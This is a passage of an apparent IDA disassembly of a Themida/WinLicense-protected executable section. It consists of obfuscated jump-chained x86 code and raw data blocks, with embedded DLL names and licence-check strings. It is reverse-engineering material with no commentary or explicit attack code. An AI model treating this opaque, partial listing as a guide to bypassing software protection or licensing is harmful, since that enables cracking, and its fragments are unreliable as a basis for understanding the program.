loc_5724DD:				; CODE XREF: Themida_:00561C46j
		mov	ebp, [esp]
		jmp	loc_560836
; ---------------------------------------------------------------------------


loc_5724E5:				; CODE XREF: Themida_:0056EC58j
		push	4201h
		mov	[esp], ebx
		push	ebp
		jmp	loc_56C86A
; ---------------------------------------------------------------------------


loc_5724F3:				; CODE XREF: Themida_:0055F196j
		mov	edi, 7BF51B9Dh
		push	785Ch
		mov	[esp], esi
		mov	esi, 1D494F38h
		or	edi, esi
		pop	esi
		jmp	loc_5605F7
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 8B2434FFh, 0C4812404h, 4, 0FF6EDCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_572521:				; CODE XREF: Themida_:00570026j
		mov	esp, [esp]
		jmp	loc_568332
; ---------------------------------------------------------------------------


loc_572529:				; CODE XREF: Themida_:0055E633j
		shr	eax, 3
		add	eax, 2E0F1492h
		and	eax, 514B7532h
		and	eax, 17BD5632h
		not	eax
		sub	eax, 0F165D8CCh
		sub	ebp, eax
		pop	eax
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		mov	esp, [esp]
		push	0DB3h
		jmp	loc_5697A9
; ---------------------------------------------------------------------------
		dd 0E9E18951h, 0FFFF3AFAh, 0E9241C8Bh, 0FFFFE83Fh, 33240431h
		dd 835C2404h, 81E904ECh
		db 0F4h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_572577:				; CODE XREF: Themida_:00564A81j
		dec	ebp
		jmp	loc_55F852
; ---------------------------------------------------------------------------
		db 5Bh,	53h, 0E9h
		dd 0FFFF2321h, 0C781CF01h, 5A44612Eh, 0FFABE0E9h, 4EC81FFh
		dd 89000000h, 4682414h,	8B000000h, 0C4832414h, 0FFD70104h
		dd 835A2434h, 0B95104C4h, 69C757A9h, 0C981E1D1h, 102D151Bh
		dd 40A9C181h, 0EF812C50h, 2F7544C2h, 0FF7C95E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5725CD:				; CODE XREF: Themida_:00566D9Ej
		sub	ebp, 329E665Eh
		jmp	loc_56D355
; ---------------------------------------------------------------------------
		dd 4C481h, 0D1010000h, 0C875E5Ah, 24248B24h, 24040166h
		dd 0E2CAE99Ch, 0F181FFFFh, 2B7C2BCAh, 37CEE981h, 0D9F71F0Dh
		dd 81D1F749h, 6712B5C1h, 97C2810Fh, 291D7D23h, 97BE56CAh
		dd 0E91D7D23h, 0FFFF6813h
; ---------------------------------------------------------------------------


loc_57261C:				; CODE XREF: Themida_:0056F7C6j
		push	0A7Ch
		jmp	loc_56C29F
; ---------------------------------------------------------------------------


loc_572626:				; CODE XREF: Themida_:0056913Aj
		push	edx
		mov	dh, ch
		jmp	loc_566971
; ---------------------------------------------------------------------------


loc_57262E:				; CODE XREF: Themida_:0056AC8Fj
		push	dword ptr [esp]
		jmp	loc_563B34
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 0FFFFA3D5h, 2414F757h, 99EF815Fh, 0C16B5C77h, 0C78107E7h
		dd 94EA6493h, 815FFA29h, 0F693FC2h, 81EA013Ah, 0F693FEAh
		dd 13C2813Ah, 5D6DF944h, 0FF2173E9h, 81DF87FFh,	7CD317F7h
		dd 0E95A57AAh, 0FFFF9A26h, 1C8BD901h, 0EDA9E924h, 815AFFFEh
		dd 7104246Ch, 8177D306h, 1D04246Ch, 1426A28h, 0E904246Ch
		dd 97h
; ---------------------------------------------------------------------------


loc_5726A0:				; CODE XREF: Themida_:005613D5j
		inc	eax
		dec	eax
		sub	eax, 0CAAAF696h
		sub	ecx, eax
		pop	eax
		pop	eax
		sub	esi, ecx
		pop	ecx
		mov	ecx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_5600F4
; ---------------------------------------------------------------------------


loc_5726BC:				; CODE XREF: Themida_:00568B0Fj
		pop	ecx
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_572A4F
; ---------------------------------------------------------------------------
		dd 2BABC781h, 0D7017FCBh, 0FF9348E9h, 34875BFFh, 24248B24h
		dd 4B30F66h, 0B4E99C24h, 8BFFFEB9h, 0C483243Ch,	4C78104h
		dd 51000000h, 2B9h, 0E9CF0100h,	0FFFF5D83h, 558C731h, 4A981B63h
		dd 0E957F829h, 0FFFFB378h, 0DE9BD55h, 0F7552001h, 815D2414h
		dd 0A8AED4F5h, 8BEA01B2h, 0C481242Ch, 4, 0F5E9DAF7h, 81FFFF92h
		dd 1D042444h, 81426A28h, 71042444h, 5D77D306h, 81240C8Bh
		dd 4C4h, 4C18100h, 68000000h, 5921h, 0BD242C89h, 4, 52DDC181h
		dd 0E90175D1h, 52DDE981h, 0E95D75D1h, 220h, 0CE48052Dh
		dd 68BF5734h, 5130D532h, 3917ECB9h, 0E9D1F770h,	0FFFF839Eh
		dd 48E9E800h, 68FFFF33h, 1, 81242C8Bh, 4C4h, 0FFE82100h
		dd 34FF2434h, 2434FF24h, 0FFA5DDE9h, 28F281FFh,	0E947167Dh
		dd 0FFFF0AE0h, 4C381h, 0E9570000h, 0FFFF9134h
; ---------------------------------------------------------------------------


loc_5727CC:				; CODE XREF: Themida_:0055E1C8j
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	6D6Dh
		mov	[esp], ecx
		jmp	loc_572207
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 2Dh
		dd 5808235Ah, 975EF089h, 8397D7F7h, 31E904ECh, 81FFFF6Ah
		dd 4C1h, 0B625E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_572806:				; CODE XREF: Themida_:00565D1Cj
		mov	[esp], edi
		jmp	loc_5729EC
; ---------------------------------------------------------------------------


loc_57280E:				; CODE XREF: Themida_:0056C7FBj
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_56E8EB
; ---------------------------------------------------------------------------
		dw 0E951h
		dd 0FFFF4D82h
; ---------------------------------------------------------------------------


loc_572828:				; CODE XREF: Themida_:0056D129j
		mov	[esp], edx
		pop	ecx
		pop	edx
		push	esi
		push	ecx
		add	dword ptr [esp], 43934574h
		push	dword ptr [esp]
		jmp	loc_55E68A
; ---------------------------------------------------------------------------
		dw 0E181h
		dd 13BD61D1h, 0FFB845E9h, 0FDEE81FFh, 29BEE904h, 70B5E9F3h
		dd 0E2D1FFFFh, 2414F752h, 0FFE1D9E9h, 5CB551FFh, 0E82845B0h
		dd 4E0C059h, 0C130372Ch, 44B65258h, 80ACC680h, 17E9F1F6h
		db 0DEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_57287F:				; CODE XREF: Themida_:00568AF5j
		add	ebx, 4
		push	1B68h
		jmp	loc_56CD62
; ---------------------------------------------------------------------------


loc_57288F:				; CODE XREF: Themida_:0056B2F7j
		mov	ah, 6Fh
		add	bl, ah
		pop	eax
		jmp	loc_562E36
; ---------------------------------------------------------------------------
		db 68h,	0E4h, 77h
		dd 3C890000h, 62536824h, 1C890000h, 0E9E38924h,	0FFFFB353h
		dd 0FFC8015Ch, 81592434h, 4C4h,	24048700h, 0FE24248Bh
		dd 0E99C2404h, 0FFFEB7D3h
; ---------------------------------------------------------------------------


loc_5728CC:				; CODE XREF: Themida_:00569AABj
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_568D5D
; ---------------------------------------------------------------------------
		dw 0E950h
		dd 0FFFF7762h
dword_5728E0	dd 24048B66h, 0FF4549E9h, 2C875FFFh, 9B2BE924h
					; DATA XREF: Themida_:0055DE14o
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5728F2:				; CODE XREF: Themida_:00564DE0j
		add	esp, 4
		mov	esi, [esp]
		add	esp, 4
		add	esi, 7FA67874h
		pop	edx
		jmp	loc_56DB3D
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 4B536035h, 52242C8Bh, 0FFCD28E9h, 40C381FFh,	2D0A5314h
		dd 286A000Ah, 0A05D829h, 0E9286A00h, 0FFFEF03Fh, 21186866h
		dd 0FFEE48E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_572939:				; CODE XREF: Themida_:005679ACj
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], cx
		movzx	cx, al
		jmp	loc_566759
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0D7A9E958h, 0C483FFFEh, 24343304h, 33243431h, 7AE92434h
		dd 89FFFF84h, 0EBECE9D7h, 489FFFFh, 2474FF24h, 24048B04h
		dd 0CAD7E952h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_572982:				; CODE XREF: Themida_:0056D22Dj
		push	eax
		mov	eax, esp
		push	ecx
		mov	ecx, 4
		jmp	loc_5643F6
; ---------------------------------------------------------------------------
		dd 0E9F0B551h, 0FFFFA378h, 87768h, 240C8900h, 42474FFh
		dd 0E944E959h, 4095FFFFh, 0FED865E9h, 12C480FFh, 8040CC80h
		dd 0F4803CC4h, 0E78CE95Ch, 0DF29FFFFh, 0FFC0ECE9h, 4C681FFh
		dd 87000000h, 13E92434h, 81FFFFE8h, 76583AF5h, 4CBE946h
		dd 48FFFFFh, 0E9525524h, 0FFFFC11Eh
; ---------------------------------------------------------------------------


loc_5729EC:				; CODE XREF: Themida_:00572809j
		mov	edi, esi
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edi
		jmp	loc_564AF3
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 3304C483h, 1C31241Ch, 241C3324h, 0FF05BDE9h,	535051FFh
		dd 0E952A1B7h, 0FFFFF433h, 49599968h, 0DBF75B70h, 0E904EBC1h
		dd 0FFFF394Ah
; ---------------------------------------------------------------------------


loc_572A2C:				; CODE XREF: Themida_:005635A7j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5631A0
; ---------------------------------------------------------------------------
		dd 0DB90F581h, 3DE9D656h
		db 6Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_572A4F:				; CODE XREF: Themida_:005726C7j
		sub	esp, 4
		jmp	loc_56F558
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 145B0816h, 0B6E95340h
		db 0F8h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_572A67:				; CODE XREF: Themida_:0056FDB4j
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_56ACE6
; ---------------------------------------------------------------------------
dword_572A7C	dd 24048B66h, 5EE95456h, 5FFFFF5Ch, 8704C283h, 8B5C2414h
					; DATA XREF: Themida_:0055DFE0o
		dd 0C483242Ch, 0E2E96104h, 5FFFFF19h, 0FF79DFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_572AA1:				; CODE XREF: Themida_:00563D56j
		mov	[esp], eax
		push	esi
		jmp	loc_560416
; ---------------------------------------------------------------------------


loc_572AAA:				; CODE XREF: Themida_:00564118j
		jmp	loc_55E09F
; ---------------------------------------------------------------------------
		db 87h
		dd 895C241Ch, 4832424h,	5580424h, 4, 0B1E95455h, 5EFFFFAEh
		dd 505FFB01h, 0CB7932B8h, 2E622549h, 2AE91D1Bh,	89FFFF6Ah
		dd 75E9242Ch, 0BAFFFF64h, 0FFA20CEBh, 315AD001h, 0CE2958C1h
		dd 0FF1F4AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_572AF5:				; CODE XREF: Themida_:00561DE6j
		jmp	loc_55E09F
; ---------------------------------------------------------------------------
		dw 0A0E9h
		dd 87FFFEB5h, 248B241Ch, 58545024h, 405h, 40500h, 4330000h
		dd 0FA4EE924h, 815AFFFFh, 0E10DE3C5h, 81FD0140h, 0E10DE3EDh
		dd 0D5F75F40h, 3CD1B951h, 8E9051Dh
		db 7Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_572B37:				; CODE XREF: Themida_:0055E294j
		add	edx, 6D9839B7h
		pop	eax
		sub	edx, 467E41A7h
		add	edx, edi
		jmp	loc_55FDB7
; ---------------------------------------------------------------------------


loc_572B4B:				; CODE XREF: Themida_:00560CD4j
		mov	[esp], eax
		push	esp
		pop	eax
		push	ebp
		push	ebx
		push	427C2A5Eh
		pop	ebx
		mov	ebp, ebx
		pop	ebx
		sub	ebp, 7A720DB4h
		push	431Eh
		mov	[esp], ebp
		not	dword ptr [esp]
		pop	ebp
		shl	ebp, 6
		jmp	loc_5715A9
; ---------------------------------------------------------------------------
byte_572B75	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0055E000o
		dd 0E0895024h, 405h, 42D00h, 4870000h, 4895C24h, 6E756824h
		dd 8F540000h, 4812404h,	424h, 0CF62E900h, 0E95EFFFFh, 0FFFF62AEh
; ---------------------------------------------------------------------------


loc_572BA8:				; CODE XREF: Themida_:0055F38Dj
		add	edi, ecx
		pop	ecx
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		push	edi
		jmp	loc_56B265
; ---------------------------------------------------------------------------


loc_572BBA:				; CODE XREF: Themida_:00568D7Ej
		pop	esi
		push	eax
		jmp	loc_565311
; ---------------------------------------------------------------------------
		db 31h,	14h, 24h
		dd 8B241433h, 0D3662424h, 0E99C2424h, 0FFFEB4CBh, 9678DBB8h
		dd 8354841h, 314060A7h,	0E98158C2h, 6DFD49D2h, 2DB2C181h
		dd 0D1014A31h, 2DB2E981h, 0C1814A31h, 6DFD49D2h, 0C9BEE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_572C02:				; CODE XREF: Themida_:0055F6B1j
		push	ebx
		mov	ebx, 333E7F25h
		push	eax
		mov	eax, 47654F76h
		add	ebx, 5BB917E3h
		add	ebx, eax
		sub	ebx, 5BB917E3h
		pop	eax
		and	ebx, 53C75673h
		inc	ebx
		neg	ebx
		sub	ebx, 0AD7CB9E8h
		sub	esi, 62D2565Ch
		add	esi, ebx
		push	edi
		mov	edi, 77D949F7h
		jmp	loc_56A8B3
; ---------------------------------------------------------------------------
		db 81h
		dd 0F7DFFBEBh, 5BD8014Fh, 0FFF182E9h, 31D7F7FFh, 3C33243Ch
		dd 0E1CBE924h, 8E8FFFFh, 0AE000000h, 0BBD29258h, 891AEFE4h
		dd 0A831D98Dh, 81665A06h, 81D076D6h, 7379C2h, 0B800h, 8B0F0000h
		dd 6, 33ED9D8Bh, 34FF06A8h, 0C6816610h,	8959FE53h, 0A82BAD9Dh
		dd 0CAE98106h, 8B7FD67Dh, 0A8260DB5h, 36F18106h, 815E8261h
		dd 0CE3C27E9h, 5EF5532Bh, 29020C89h, 0A82E1185h, 4E88306h
		dd 2E4D8D31h, 0F88106A8h, 0FFFF8CFCh, 0FFB8850Fh, 8589FFFFh
		dd 6A815C1h, 4AE9h, 49500300h, 45535557h, 2E323352h, 6C6C64h
		dd 41564441h, 32334950h, 6C6C642Eh, 44544E00h, 642E4C4Ch
		dd 0D7006C6Ch, 5000A07h, 0D001300h, 26000400h, 1F00h, 4	dup(0)
		dd 0E9000000h, 817h, 0AA940468h, 0EA98E906h, 7F68FFFDh
		dd 0E906AA94h, 0FFFDEA8Eh, 0AA959468h, 0EA84E906h, 0D068FFFDh
		dd 0E906AA96h, 0FFFDEA7Ah, 0AA974768h, 0EA70E906h, 5368FFFDh
		dd 0E906AA98h, 0FFFDEA66h, 0AA98A668h, 0EA5CE906h, 0FF9AFFFDh
		dd 0A2CF70B6h, 5800A3E7h, 42A9511h, 395AC541h, 8A93674h
		dd 0E624690Ah, 0CA501D3Dh, 482CB69h, 75B1F89Bh,	0D9D16BF1h
		dd 0ABB60269h, 2501C66Dh, 0EE932FA9h, 346DA5C3h, 4AF123E4h
		dd 0D4D4769Ch, 8AAF587Fh, 58803870h, 0A1210AAFh, 800901BBh
		dd 50FBAF58h, 912B3167h, 0B600966Ah, 7F89FF58h,	8FDAB320h
		dd 6482399Bh, 82E4DB22h, 218EA996h, 5B8F3498h, 2B1FA821h
		dd 15B19A9Dh, 24C28BAAh, 4C940ED2h, 58C93D2Ah, 0E5367B36h
		dd 0C766C9B3h, 7CA35A8Eh, 86250BFBh, 6863Dh, 155CFB00h
		dd 44012E91h, 723B5DC6h, 0A2E78B34h, 0D79ABB64h, 6DA5D453h
		dd 9A0581CCh, 0CE71B5F8h, 0A3E7AEh, 1696145Dh, 6B76B2D4h
		dd 0E4CB602h, 155CFF21h, 0CABB67F1h, 23357597h,	240FAF58h
		dd 912802AAh, 0B1E3A407h, 3EAADC0Ah, 20B60358h,	46D29FBFh
		dd 0CD6B9FB8h, 0A90F46E2h, 9B2F6606h, 766FFB7Dh, 427BB3EFh
		dd 622B49D6h, 88C1643Dh, 23BA8750h, 0D9AA09F3h,	60Bh, 0A90D980h
		dd 45C184A9h, 0B3F7BEDAh, 0E3276210h, 0D4521F40h, 47E82A4Fh
		dd 7313BC0Ah, 2547E83Eh, 0D675DE6Ch, 49930B9Fh,	26AFB3Fh
		dd 0A483C9B6h, 7EF45CFFh, 0C4ADFC93h, 55CE534Ch, 98327F36h
		dd 94809213h, 7312DF80h, 71h, 155CFFD4h, 5EA6AA91h, 0AF57D7h
		dd 0D768A0DAh, 0F15AAF57h, 9455F8A7h, 0B172BFF2h, 4750DD90h
		dd 9631756Eh, 0C3699D26h, 0DB7BBEE0h, 27100996h, 0F177A1FAh
		dd 0B60047D5h, 7D6684AFh, 0AF1096DFh, 6D68258Dh, 0EF96F16h
		dd 0F46AAED8h, 0FF58B5FFh, 4896E006h, 0FCCD36C9h, 0E65FCC6Ch
		dd 55Fh, 487F600h, 6062D1F7h, 9A2ADC96h, 0FA3E099Fh, 155CFFB1h
		dd 0D1715288h, 298B1C9Ch, 0FFD27492h, 0C5B5FFE3h, 0CD36DC6Ah
		dd 80BAE7AEh, 6EE0B572h, 84140D2Ch, 0F531781Bh,	0AD59E252h
		dd 0AB53FA1Bh, 0BB6FC8BCh, 3708DB1Dh, 4680B776h, 0A50A43E5h
		dd 0D97B2474h, 8BA90A90h, 0A1C45DC2h, 0BFE130E8h, 70B3EC7Bh
		dd 4F68Fh, 85CC6B00h, 0B4F19E01h, 0E2ABCD76h, 1257FBA4h
		dd 470A2B94h, 0DD3544C3h, 0AB5F1BCh, 3EE12568h,	70D3571Eh
		dd 0A60684CDh, 6C060244h, 0BEFCB602h, 9D5CFF91h, 3C6DB2FBh
		dd 2645DE43h, 5288C26Fh, 1B9DD071h, 3BBDFFA0h, 44E68ACFh
		dd 50ECF109h, 0E8DB2D8Bh, 33AF589Dh, 0DF11ECD9h, 0FEDC0912h
		dd 0F0D3FFFFh, 82A2034Eh, 0E33566CBh, 155CFFB8h, 16AD0F88h
		dd 226F0FF0h, 77DA6CF6h, 69B5FFDDh, 0DD81B9C3h,	0E843B5FFh
		dd 1195BE40h, 9BD06B6h,	0A81054FFh, 88A90ABCh, 8D662F4Dh
		dd 9FA1F720h, 8CAD16B4h, 0ED4B5CC1h, 0FB9FC7Eh,	0FD5BCA8h
		dd 64C980A4h, 0A50EE533h, 8FEBB995h, 18F5C1Fh, 1E70000h
		dd 3640F425h, 57D79494h, 0FE086EAFh, 0AF57D6BAh, 0DDB6AF88h
		dd 0ED6C9F29h, 0FD56B5FFh, 0A227D8Bh, 3B998FDAh, 0DD205A80h
		dd 8396823Bh, 0E4347D20h, 0B6ACF15Ah, 0B99DA224h, 0E31AD499h
		dd 7711729Dh, 70B8F13Eh, 8BE05B7h, 2A8A79FEh, 3AE04B9Dh
		dd 0B8F0B5D9h, 5CEE14B2h, 9D2A8A5Ch, 7FF50D26h,	0ABC1FFAAh
		dd 3457D850h, 0E786297Dh, 0EAA17AAEh, 0C4E70BFCh, 3BA7Bh
		dd 41082F00h, 70355AC5h, 0A6EF892Ah, 0D693BF60h, 34EEF50h
		dd 99793887h, 0CE71B5F8h, 0FAA5E1ACh, 2C97135Ah, 62FA4009h
		dd 6D4A4EF8h, 0F238B602h, 0EA1CBA55h, 0AF57D6AEh, 3023BB94h
		dd 327B2E04h, 0AB099E1Ah, 4050EA10h, 26B6034Eh,	4AD79EBDh
		dd 1E39C751h, 2C6507E8h, 5E17359Eh, 6E2B47A8h, 0A5C859CAh
		dd 4CF10E0Dh, 140D206Eh, 235F11F4h, 0DFA003F3h,	343h, 42D891B8h
		dd 0BD094CE1h, 0EB3F7612h, 0DB6F2A48h, 0C9AD778h, 7F20F287h
		dd 2B4BF432h, 0DD7F2066h, 8EAD1694h, 1DB43C7h, 26DC3C7h
		dd 0DC7B81B6h, 88155CFFh, 893D7417h, 0E64B0226h, 0F68063B5h
		dd 316040E1h, 0FAAF57D9h, 0DFD49782h, 0D3755E12h, 0C6A8409Ah
		dd 78E7D9D6h, 0FD2C0230h, 0FF25FFFFh, 0EF1155Ch, 0DA11C06Ch
		dd 0AAD90B41h, 5E8467B1h, 2B9CD975h, 0CEDF440Dh, 257FDD6Ah
		dd 0C8B155C1h, 0F7B2DF87h, 1E81251Eh, 0D59CBC71h, 40EEB7FCh
		dd 668C2C05h, 954924h, 8A103BB6h, 0FF2001ADh, 99912B5Dh
		dd 6BAF57D7h, 0B933D7C0h, 86731C03h, 59831547h,	0BBBC2Fh
		dd 79AD86B6h, 0BC71A9D3h, 0F853B600h, 0F0DEE8B0h, 0AB5E182Eh
		dd 0F214B209h, 64C060ABh, 0A871BE99h, 0F10BBF04h, 6B689B78h
		dd 9E9A2C4Ah, 646B689Bh, 0CB34D2CBh, 6CBDE2A7h,	9EBD26CCh
		dd 4AB553D7h, 0EC3D622Bh, 940E34Ch, 0BE91E0DFh,	74CDEE3Dh
		dd 237h, 46C48DACh, 0B1F5B0DDh,	0E7236A0Eh, 0D753163Ch
		dd 86CB6Ch, 7B1CF6BBh, 2F4FF036h, 0D97B2462h, 8AA90A90h
		dd 5E747C3h, 26EC7C3h, 0D07FBDB6h, 0D80EB5E7h, 26A5CAEh
		dd 0D90D26B6h, 8B1F56F6h, 0E04D0428h, 0B3551C3Fh, 0F324C236h
		dd 0E4EA5B58h, 59000001h, 9033773Eh, 0BF60A6E3h, 0E94AD099h
		dd 19BA0045h, 6AF13578h, 0E7AACB47h, 135E00A3h,	41082C97h
		dd 723B5AC5h, 10AAB034h, 0B6026F18h, 0E787ACEAh, 0AB1BEFB5h
		dd 5224C35Bh, 0C91612B4h, 43ECAF58h, 0AD16BC6Ah, 9452C68Fh
		dd 0B6035C86h, 0CC37D37Ch, 8AC768A9h, 1B21591h,	0F29F00A6h
		dd 0E7316AB7h, 5BD9CB7Dh, 80ABB603h, 0ACE18223h, 7B1CBF07h
		dd 0E657F036h, 251DAF5Bh, 1FB6035Ch, 86B9D8D5h,	5A33F6A4h
		dd 60294CD5h, 0BDE043C3h, 0BB24BB15h, 2FB315Ch,	31781B84h
		dd 0A20A2A95h, 69BBA8BBh, 921F08BBh, 0DAC1F99h,	4FD0FBF5h
		dd 0DE6C2548h, 129FD675h, 0D670F091h, 0B60331D2h, 1AE87B0h
		dd 858C15BEh, 0B81BAFE6h, 3255DA97h, 95D07D1Ch,	0BDF49708h
		dd 87289D70h, 42E3C808h, 0BAF3957Eh, 0DD90B17Eh, 845E649h
		dd 1612B4D2h, 0ECB60332h, 0AD76D543h, 9659C68Fh, 0CC6D743Dh
		dd 0FB9A0581h, 0EFED6DB2h, 0EA6E7698h, 67224FB0h, 0D880E13Ah
		dd 3AC0791h, 8A1059FCh,	0DE430A29h, 0C4692445h,	6933FC69h
		dd 2466E286h, 6E7698E4h, 1C9C75DEh, 6DB9F093h, 0E527A3C2h
		dd 6E7699A5h, 56DBB49Fh, 3E5467D5h, 0CE5367Bh, 0B465ACDEh
		dd 155F751Eh, 8111E261h, 0E327105Ah, 9B4FF458h,	0C925F561h
		dd 3F64CF7Bh, 3943C766h, 7BC92601h, 0FB9E68C3h,	34BF7B26h
		dd 5E41655Eh, 0FB2C713Ch, 0C96CD7BDh, 0E9586961h, 0BA937C04h
		dd 3C25F575h, 0AE4CCDADh, 0CC6C2945h, 0A4C7CE57h, 57F659EDh
		dd 6210911Eh, 5E77FA27h, 0E6AFCED5h, 28609AC0h,	1ACDAD3Ch
		dd 0E7A2D031h, 0AB2DCBB1h, 0ABC5FC95h, 41EE4A38h, 7DC66B22h
		dd 1Bh,	5D183699h, 0A70FC7D0h, 38CAD710h, 0B0E4CF69h, 5E5AEC0Ah
		dd 24AF57D7h, 0FF86AD0Bh, 138C1158h, 2BF43970h,	42E34009h
		dd 5FC06D20h, 752E733Eh, 8B1499D4h, 0A47DA2E7h,	0BF60CD84h
		dd 0FA4AD792h, 81E38953h, 4C3h,	4EB8100h, 87000000h, 895C241Ch
		dd 0E8682414h, 8900004Ch, 89512414h, 4C181E1h, 83000000h
		dd 0C8704E9h, 3C895C24h, 4EC8324h, 0B9240C89h, 643155E0h
		dd 9BC685BAh, 59CA3162h, 8904EC83h, 4812424h, 424h, 0AB685F00h
		dd 8900005Bh, 478F2414h, 243C8B08h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		db 0EAh
		dd 43CBEDCEh, 0B844C8DDh, 6AA9AAFh, 0E0FFC503h,	43E9AF2Fh
		dd 64194127h, 32C8440Ah, 51E98C9Bh, 710ACAE0h, 4A3CE43Dh
		dd 474509D9h, 4F891D39h, 1C03DB9Fh, 3E629026h, 4B6D8269h
		dd 0F4B9C48h, 1B8B9081h, 31C6607Ch, 8DE9h, 0BD836000h
		dd 6A81521h, 5840F00h, 0E9000000h, 78h,	3E80006Ah, 8850F30h
		dd 6A000000h, 35E94600h, 80000000h, 850F333Eh, 8, 0E946106Ah
		dd 24h,	0F343E80h, 885h, 46306A00h, 13E9h, 353E8000h, 8850Fh
		dd 406A0000h, 2E946h, 6A0000h, 0F203E80h, 1285h, 17E8000h
		dd 8850F00h, 83000000h,	15E908C4h, 8D000000h, 0A826D185h
		dd 4895006h, 96509624h,	95FF006Ah, 6A8142Dh, 85C6C361h
		dd 6A815D5h, 1ECA684Dh,	3481CC2Eh, 1B686224h, 2DB5FF68h
		dd 8D06A80Dh, 0A83AC385h, 89D0FF06h, 0A8142D85h, 0AAE906h
		dd 6F530000h, 61777466h, 575C6572h, 694C6E69h, 736E6563h
		dd 68430065h, 496B6365h, 7058004Eh, 45746F72h, 746978h
		dd 63656843h, 54554F6Bh, 6E695700h, 6563694Ch, 5665736Eh
		dd 69737265h, 57006E6Fh, 694C6E69h, 736E6563h, 69724465h
		dd 56726576h, 69737265h, 57006E6Fh, 694C6E69h, 736E6563h
		dd 736E4965h, 636E6174h, 78450065h, 6B4F7469h, 6F725000h
		dd 4E4963h, 636F7250h, 54554Fh,	74697845h, 45004E49h, 4F746978h
		dd 54005455h, 4E4970h, 3 dup(0)
		dd 77DDAF7Fh, 77DD72F0h, 596E9h, 0CF858900h, 8D06AA9Ch
		dd 0AA9CCB85h, 858D5006h, 6AA9C35h, 16850h, 95FF8000h
		dd 6AA9CDBh, 0B5FF196Ah, 6AA9CCFh, 6A016Ah, 9C64858Dh
		dd 0FF5006AAh, 0AA9CCBB5h, 0C995FF06h, 0FF06A81Eh, 0AA9CCBB5h
		dd 0D795FF06h, 0FF06AA9Ch, 0AA9CCBB5h, 9195FF06h, 0C306A807h
		dd 9CCF8589h, 858D06AAh, 6AA9CCBh, 35858D50h, 5006AA9Ch
		dd 168h, 0DB95FF80h, 6A06AA9Ch,	0CF858D04h, 5006AA9Ch
		dd 6A046Ah, 9C8E858Dh, 0FF5006AAh, 0AA9CCBB5h, 0C995FF06h
		dd 0FF06A81Eh, 0AA9CCBB5h, 0D795FF06h, 0FF06AA9Ch, 0AA9CCBB5h
		dd 9195FF06h, 0C306A807h, 9CCF8589h, 858D06AAh,	6AA9CCBh
		dd 35858D50h, 5006AA9Ch, 168h, 0DB95FF80h, 6A06AA9Ch, 0CF858D04h
		dd 5006AA9Ch, 6A046Ah, 9C76858Dh, 0FF5006AAh, 0AA9CCBB5h
		dd 0C995FF06h, 0FF06A81Eh, 0AA9CCBB5h, 0D795FF06h, 0FF06AA9Ch
		dd 0AA9CCBB5h, 9195FF06h, 0C306A807h, 9CCF8589h, 858D06AAh
		dd 6AA9CCBh, 35858D50h,	5006AA9Ch, 168h, 0DB95FF80h, 6A06AA9Ch
		dd 0CF858D04h, 5006AA9Ch, 6A046Ah, 9CA1858Dh, 0FF5006AAh
		dd 0AA9CCBB5h, 0C995FF06h, 0FF06A81Eh, 0AA9CCBB5h, 0D795FF06h
		dd 0FF06AA9Ch, 0AA9CCBB5h, 9195FF06h, 0C306A807h, 9CCF8589h
		dd 858D06AAh, 6AA9CCBh,	35858D50h, 5006AA9Ch, 168h, 0DB95FF80h
		dd 6A06AA9Ch, 0CF858D04h, 5006AA9Ch, 6A046Ah, 9C51858Dh
		dd 0FF5006AAh, 0AA9CCBB5h, 0C995FF06h, 0FF06A81Eh, 0AA9CCBB5h
		dd 0D795FF06h, 0FF06AA9Ch, 0AA9CCBB5h, 9195FF06h, 0C306A807h
		dd 32A1BD83h, 0F0006A8h, 0B84h,	0A19D8B00h, 8306A832h
		dd 3894CC3h, 0A1BD83C3h, 6A832h, 0B840Fh, 9D8B0000h, 6A832A1h
		dd 8950C383h, 0BD83C303h, 6A832A1h, 0B840F00h, 8B000000h
		dd 0A832A19Dh, 54C38306h, 83C30389h, 0A832A1BDh, 840F0006h
		dd 0Bh,	32A19D8Bh, 0C38306A8h, 0C3038958h, 32A1BD83h, 0F0006A8h
